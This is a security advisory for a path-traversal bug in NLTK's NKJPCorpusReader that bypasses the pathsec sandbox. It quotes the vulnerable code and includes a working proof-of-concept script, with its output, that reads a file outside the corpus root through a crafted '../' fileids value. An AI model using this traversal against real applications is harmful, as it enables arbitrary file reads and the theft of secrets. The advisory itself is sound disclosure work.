PYSEC-2026-3581

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

• add_root() builds the path by plain string concatenation with no normalization or containment check:

  def add_root(self, fileid):          # lines 96-102
      if self.root in fileid:
          return fileid                # attacker-controlled value returned unchanged
      return self.root + fileid        # plain concat, '..' not stripped
  

• The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):

  class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
      def __init__(self, filename, **kwargs):
          XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189
  

• The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():

  class XML_Tool:                                  # line 243
      def __init__(self, root, filename):
          self.read_file = os.path.join(root, filename)   # line 251
      def build_preprocessed_file(self):
          fr = open(self.read_file)                        # line 256 — pathsec never consulted
    

  Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

  PoC

  Tested against nltk==3.9.4 (latest PyPI release) and current develop.

  pip install "nltk==3.9.4"
  python3 poc.py
  

  poc.py:

  import builtins, os, shutil, tempfile, warnings
  warnings.simplefilter("ignore")
  import nltk, nltk.pathsec as pathsec
  from nltk.corpus.reader.nkjp import NKJPCorpusReader
  
  print("nltk", nltk.__version__)
  
  # A legitimate, empty NKJP corpus root (what a real app has).
  root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
  os.makedirs(os.path.join(root, "sample"), exist_ok=True)
  open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
  
  # The attacker's target: a file OUTSIDE the corpus root.
  secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
  open(os.path.join(secret_dir, "header.xml"), "w").write(
  "<teiHeader><fileDesc><sourceDesc><bibl>"
  "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
      "</bibl></sourceDesc></fileDesc></teiHeader>")
  
  # Enable the strict mode SECURITY.md recommends for web / multi-tenant.
  pathsec.ENFORCE = True
  print("ENFORCE =", pathsec.ENFORCE)
  
  # Prove the out-of-root read and that pathsec is never consulted.
  opened = []; real = builtins.open
  builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
  
  reader = NKJPCorpusReader(root=root + "/", fileids="sample")
  # Attacker-controlled `fileids`; '..' escapes the corpus root:
  evil = root + "/../../../../../../.." + secret_dir + "/"
  try:
      result = reader.header(fileids=[evil])
  finally:
      builtins.open = real
  
  print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
  print("disclosed content  :", result[0]["title"])
  shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
  

  Output (unmodified):

  nltk 3.9.4
  ENFORCE = True
  opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
  disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF
  

  With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

  Impact

  This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

  Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.